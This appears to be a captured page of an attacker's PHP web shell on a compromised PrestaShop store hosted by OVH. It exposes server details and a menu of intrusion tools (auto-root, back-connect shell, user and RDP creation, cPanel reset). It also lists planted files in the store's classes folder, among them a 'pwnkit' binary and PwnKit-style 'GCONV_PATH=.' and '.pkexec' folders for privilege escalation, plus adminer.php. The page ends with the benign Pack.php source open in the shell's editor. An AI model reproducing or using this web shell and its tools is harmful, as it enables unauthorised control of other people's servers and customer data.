Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Pack.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class PackCore extends Product { /** * Only decrement pack quantity. * * @var string */ const STOCK_TYPE_PACK_ONLY = 0; /** * Only decrement pack products quantities. * * @var string */ const STOCK_TYPE_PRODUCTS_ONLY = 1; /** * Decrement pack quantity and pack products quantities. * * @var string */ const STOCK_TYPE_PACK_BOTH = 2; /** * Use pack quantity default setting. * * @var string */ const STOCK_TYPE_DEFAULT = 3; protected static $cachePackItems = []; protected static $cacheIsPack = []; protected static $cacheIsPacked = []; public static function resetStaticCache() { self::$cachePackItems = []; self::$cacheIsPack = []; self::$cacheIsPacked = []; } /** * Is product a pack? * * @param $id_product * * @return bool */ public static function isPack($id_product) { if (!Pack::isFeatureActive()) { return false; } if (!$id_product) { return false; } if (!array_key_exists($id_product, self::$cacheIsPack)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_pack = ' . (int) $id_product); self::$cacheIsPack[$id_product] = ($result > 0); } return self::$cacheIsPack[$id_product]; } /** * Is product in a pack? * If $id_product_attribute specified, then will restrict search on the given combination, * else this method will match a product if at least one of all its combination is in a pack. * * @param $id_product * @param $id_product_attribute Optional combination of the product * * @return bool */ public static function isPacked($id_product, $id_product_attribute = false) { if (!Pack::isFeatureActive()) { return false; } if ($id_product_attribute === false) { $cache_key = $id_product . '-0'; if (!array_key_exists($cache_key, self::$cacheIsPacked)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_item = ' . (int) $id_product); self::$cacheIsPacked[$cache_key] = ($result > 0); } return self::$cacheIsPacked[$cache_key]; } else { $cache_key = $id_product . '-' . $id_product_attribute; if (!array_key_exists($cache_key, self::$cacheIsPacked)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_item = ' . ((int) $id_product) . ' AND id_product_attribute_item = ' . ((int) $id_product_attribute)); self::$cacheIsPacked[$cache_key] = ($result > 0); } return self::$cacheIsPacked[$cache_key]; } } public static function noPackPrice($id_product) { $sum = 0; $price_display_method = !self::$_taxCalculationMethod; $items = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($items as $item) { /* @var Product $item */ $sum += $item->getPrice($price_display_method, ($item->id_pack_product_attribute ? $item->id_pack_product_attribute : null)) * $item->pack_quantity; } return $sum; } public static function noPackWholesalePrice($id_product) { $sum = 0; $items = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($items as $item) { $sum += $item->wholesale_price * $item->pack_quantity; } return $sum; } public static function getItems($id_product, $id_lang) { if (!Pack::isFeatureActive()) { return []; } if (array_key_exists($id_product, self::$cachePackItems)) { return self::$cachePackItems[$id_product]; } $result = Db::getInstance()->executeS('SELECT id_product_item, id_product_attribute_item, quantity FROM `' . _DB_PREFIX_ . 'pack` where id_product_pack = ' . (int) $id_product); $array_result = []; foreach ($result as $row) { $p = new Product($row['id_product_item'], false, $id_lang); $p->loadStockData(); $p->pack_quantity = $row['quantity']; $p->id_pack_product_attribute = (isset($row['id_product_attribute_item']) && $row['id_product_attribute_item'] ? $row['id_product_attribute_item'] : 0); if (isset($row['id_product_attribute_item']) && $row['id_product_attribute_item']) { $sql = 'SELECT agl.`name` AS group_name, al.`name` AS attribute_name FROM `' . _DB_PREFIX_ . 'product_attribute` pa ' . Shop::addSqlAssociation('product_attribute', 'pa') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute` a ON a.`id_attribute` = pac.`id_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = ' . (int) Context::getContext()->language->id . ') WHERE pa.`id_product_attribute` = ' . $row['id_product_attribute_item'] . ' GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` ORDER BY pa.`id_product_attribute`'; $combinations = Db::getInstance()->executeS($sql); foreach ($combinations as $k => $combination) { $p->name .= ' ' . $combination['group_name'] . '-' . $combination['attribute_name']; } } $array_result[] = $p; } self::$cachePackItems[$id_product] = $array_result; return self::$cachePackItems[$id_product]; } /** * Indicates if a pack and its associated products are available for orders in the desired quantity. * * @todo This method returns true even if the pack feature is not active. * Should throw an exception instead. * Developers should first test if product is a pack * and then if it's in stock. * * @param int $idProduct * @param int $wantedQuantity * @param Cart|null $cart * * @return bool * * @throws PrestaShopException */ public static function isInStock($idProduct, $wantedQuantity = 1, Cart $cart = null) { if (!Pack::isFeatureActive()) { return true; } $idProduct = (int) $idProduct; $wantedQuantity = (int) $wantedQuantity; $product = new Product($idProduct, false); $packQuantity = self::getQuantity($idProduct, null, null, $cart); if ($product->isAvailableWhenOutOfStock($product->out_of_stock)) { return true; } elseif ($wantedQuantity > $packQuantity) { return false; } return true; } /** * Returns the available quantity of a given pack (this method already have decreased products in cart). * * @param int $id_product Product id * @param int $id_product_attribute Product attribute id (optional) * @param bool|null $cacheIsPack * @param Cart $cart * @param int $idCustomization Product customization id (optional) * * @return int * * @throws PrestaShopException */ public static function getQuantity( $idProduct, $idProductAttribute = null, $cacheIsPack = null, Cart $cart = null, $idCustomization = null ) { $idProduct = (int) $idProduct; $idProductAttribute = (int) $idProductAttribute; $cacheIsPack = (bool) $cacheIsPack; if (!self::isPack($idProduct)) { throw new PrestaShopException("Product with id $idProduct is not a pack"); } // Initialize $product = new Product($idProduct, false); $packQuantity = 0; $packQuantityInStock = StockAvailable::getQuantityAvailableByProduct( $idProduct, $idProductAttribute ); $packStockType = $product->pack_stock_type; $allPackStockType = [ self::STOCK_TYPE_PACK_ONLY, self::STOCK_TYPE_PRODUCTS_ONLY, self::STOCK_TYPE_PACK_BOTH, self::STOCK_TYPE_DEFAULT, ]; if (!in_array($packStockType, $allPackStockType)) { throw new PrestaShopException('Unknown pack stock type'); } // If no pack stock or shop default, set it if (empty($packStockType) || $packStockType == self::STOCK_TYPE_DEFAULT ) { $packStockType = Configuration::get('PS_PACK_STOCK_TYPE'); } // Initialize with pack quantity if not only products if (in_array($packStockType, [self::STOCK_TYPE_PACK_ONLY, self::STOCK_TYPE_PACK_BOTH])) { $packQuantity = $packQuantityInStock; } // Set pack quantity to the minimum quantity of pack, or // product pack if (in_array($packStockType, [self::STOCK_TYPE_PACK_BOTH, self::STOCK_TYPE_PRODUCTS_ONLY])) { $items = array_values(Pack::getItems($idProduct, Configuration::get('PS_LANG_DEFAULT'))); foreach ($items as $index => $item) { $itemQuantity = Product::getQuantity($item->id, null, null, $cart, $idCustomization); $nbPackAvailableForItem = (int) floor($itemQuantity / $item->pack_quantity); // Initialize packQuantity with the first product quantity // if pack decrement stock type is products only if ($index === 0 && $packStockType == self::STOCK_TYPE_PRODUCTS_ONLY ) { $packQuantity = $nbPackAvailableForItem; continue; } if ($nbPackAvailableForItem < $packQuantity) { $packQuantity = $nbPackAvailableForItem; } } } elseif (!empty($cart)) { $cartProduct = $cart->getProductQuantity($idProduct, $idProductAttribute, $idCustomization); if (!empty($cartProduct['deep_quantity'])) { $packQuantity -= $cartProduct['deep_quantity']; } } return $packQuantity; } public static function getItemTable($id_product, $id_lang, $full = false) { if (!Pack::isFeatureActive()) { return []; } $context = Context::getContext(); $sql = 'SELECT p.*, product_shop.*, pl.*, image_shop.`id_image` id_image, il.`legend`, cl.`name` AS category_default, a.quantity AS pack_quantity, product_shop.`id_category_default`, a.id_product_pack, a.id_product_attribute_item FROM `' . _DB_PREFIX_ . 'pack` a LEFT JOIN `' . _DB_PREFIX_ . 'product` p ON p.id_product = a.id_product_item LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` pl ON p.id_product = pl.id_product AND pl.`id_lang` = ' . (int) $id_lang . Shop::addSqlRestrictionOnLang('pl') . ' LEFT JOIN `' . _DB_PREFIX_ . 'image_shop` image_shop ON (image_shop.`id_product` = p.`id_product` AND image_shop.cover=1 AND image_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = ' . (int) $id_lang . ') ' . Shop::addSqlAssociation('product', 'p') . ' LEFT JOIN `' . _DB_PREFIX_ . 'category_lang` cl ON product_shop.`id_category_default` = cl.`id_category` AND cl.`id_lang` = ' . (int) $id_lang . Shop::addSqlRestrictionOnLang('cl') . ' WHERE product_shop.`id_shop` = ' . (int) $context->shop->id . ' AND a.`id_product_pack` = ' . (int) $id_product . ' GROUP BY a.`id_product_item`, a.`id_product_attribute_item`'; $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); foreach ($result as &$line) { if (Combination::isFeatureActive() && isset($line['id_product_attribute_item']) && $line['id_product_attribute_item']) { $line['cache_default_attribute'] = $line['id_product_attribute'] = $line['id_product_attribute_item']; $sql = 'SELECT agl.`name` AS group_name, al.`name` AS attribute_name, pai.`id_image` AS id_product_attribute_image FROM `' . _DB_PREFIX_ . 'product_attribute` pa ' . Shop::addSqlAssociation('product_attribute', 'pa') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_combination` pac ON pac.`id_product_attribute` = ' . $line['id_product_attribute_item'] . ' LEFT JOIN `' . _DB_PREFIX_ . 'attribute` a ON a.`id_attribute` = pac.`id_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_image` pai ON (' . $line['id_product_attribute_item'] . ' = pai.`id_product_attribute`) WHERE pa.`id_product` = ' . (int) $line['id_product'] . ' AND pa.`id_product_attribute` = ' . $line['id_product_attribute_item'] . ' GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` ORDER BY pa.`id_product_attribute`'; $attr_name = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); if (isset($attr_name[0]['id_product_attribute_image']) && $attr_name[0]['id_product_attribute_image']) { $line['id_image'] = $attr_name[0]['id_product_attribute_image']; } $line['name'] .= "\n"; foreach ($attr_name as $value) { $line['name'] .= ' ' . $value['group_name'] . '-' . $value['attribute_name']; } } $line = Product::getTaxesInformations($line); } if (!$full) { return $result; } $array_result = []; foreach ($result as $prow) { if (!Pack::isPack($prow['id_product'])) { $prow['id_product_attribute'] = (int) $prow['id_product_attribute_item']; $array_result[] = Product::getProductProperties($id_lang, $prow); } } return $array_result; } public static function getPacksTable($id_product, $id_lang, $full = false, $limit = null) { if (!Pack::isFeatureActive()) { return []; } $packs = Db::getInstance()->getValue(' SELECT GROUP_CONCAT(a.`id_product_pack`) FROM `' . _DB_PREFIX_ . 'pack` a WHERE a.`id_product_item` = ' . (int) $id_product); if (!(int) $packs) { return []; } $context = Context::getContext(); $sql = ' SELECT p.*, product_shop.*, pl.*, image_shop.`id_image` id_image, il.`legend`, IFNULL(product_attribute_shop.id_product_attribute, 0) id_product_attribute FROM `' . _DB_PREFIX_ . 'product` p NATURAL LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` pl ' . Shop::addSqlAssociation('product', 'p') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_shop` product_attribute_shop ON (p.`id_product` = product_attribute_shop.`id_product` AND product_attribute_shop.`default_on` = 1 AND product_attribute_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_shop` image_shop ON (image_shop.`id_product` = p.`id_product` AND image_shop.cover=1 AND image_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = ' . (int) $id_lang . ') WHERE pl.`id_lang` = ' . (int) $id_lang . ' ' . Shop::addSqlRestrictionOnLang('pl') . ' AND p.`id_product` IN (' . $packs . ') GROUP BY p.id_product'; if ($limit) { $sql .= ' LIMIT ' . (int) $limit; } $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); if (!$full) { return $result; } $array_result = []; foreach ($result as $row) { if (!Pack::isPacked($row['id_product'])) { $array_result[] = Product::getProductProperties($id_lang, $row); } } return $array_result; } public static function deleteItems($id_product) { return Db::getInstance()->update('product', ['cache_is_pack' => 0], 'id_product = ' . (int) $id_product) && Db::getInstance()->execute('DELETE FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_pack` = ' . (int) $id_product) && Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', Pack::isCurrentlyUsed()); } /** * Add an item to the pack. * * @param int $id_product * @param int $id_item * @param int $qty * @param int $id_attribute_item * * @return bool true if everything was fine * * @throws PrestaShopDatabaseException */ public static function addItem($id_product, $id_item, $qty, $id_attribute_item = 0) { $id_attribute_item = (int) $id_attribute_item ? (int) $id_attribute_item : Product::getDefaultAttribute((int) $id_item); return Db::getInstance()->update('product', ['cache_is_pack' => 1], 'id_product = ' . (int) $id_product) && Db::getInstance()->insert('pack', [ 'id_product_pack' => (int) $id_product, 'id_product_item' => (int) $id_item, 'id_product_attribute_item' => (int) $id_attribute_item, 'quantity' => (int) $qty, ]) && Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', '1'); } public static function duplicate($id_product_old, $id_product_new) { Db::getInstance()->execute('INSERT INTO `' . _DB_PREFIX_ . 'pack` (`id_product_pack`, `id_product_item`, `id_product_attribute_item`, `quantity`) (SELECT ' . (int) $id_product_new . ', `id_product_item`, `id_product_attribute_item`, `quantity` FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_pack` = ' . (int) $id_product_old . ')'); // If return query result, a non-pack product will return false return true; } /** * This method is allow to know if a feature is used or active. * * @since 1.5.0.1 * * @return bool */ public static function isFeatureActive() { return Configuration::get('PS_PACK_FEATURE_ACTIVE'); } /** * This method is allow to know if a Pack entity is currently used. * * @since 1.5.0 * * @param $table * @param $has_active_column * * @return bool */ public static function isCurrentlyUsed($table = null, $has_active_column = false) { // We dont't use the parent method because the identifier isn't id_pack return (bool) Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' SELECT `id_product_pack` FROM `' . _DB_PREFIX_ . 'pack` '); } /** * For a given pack, tells if it has at least one product using the advanced stock management. * * @param int $id_product id_pack * * @return bool */ public static function usesAdvancedStockManagement($id_product) { if (!Pack::isPack($id_product)) { return false; } $products = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($products as $product) { // if one product uses the advanced stock management if ($product->advanced_stock_management == 1) { return true; } } // not used return false; } /** * For a given pack, tells if all products using the advanced stock management. * * @param int $id_product id_pack * * @return bool */ public static function allUsesAdvancedStockManagement($id_product) { if (!Pack::isPack($id_product)) { return false; } $products = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($products as $product) { // if one product uses the advanced stock management if ($product->advanced_stock_management == 0) { return false; } } // not used return true; } /** * Returns Packs that conatins the given product in the right declinaison. * * @param int $id_item Product item id that could be contained in a|many pack(s) * @param int $id_attribute_item The declinaison of the product * @param int $id_lang * * @return array[Product] Packs that contains the given product */ public static function getPacksContainingItem($id_item, $id_attribute_item, $id_lang) { if (!Pack::isFeatureActive() || !$id_item) { return []; } $query = 'SELECT `id_product_pack`, `quantity` FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_item` = ' . ((int) $id_item); if (Combination::isFeatureActive()) { $query .= ' AND `id_product_attribute_item` = ' . ((int) $id_attribute_item); } $result = Db::getInstance()->executeS($query); $array_result = []; foreach ($result as $row) { $p = new Product($row['id_product_pack'], true, $id_lang); $p->loadStockData(); $p->pack_item_quantity = $row['quantity']; // Specific need from StockAvailable::updateQuantity() $array_result[] = $p; } return $array_result; } }
Close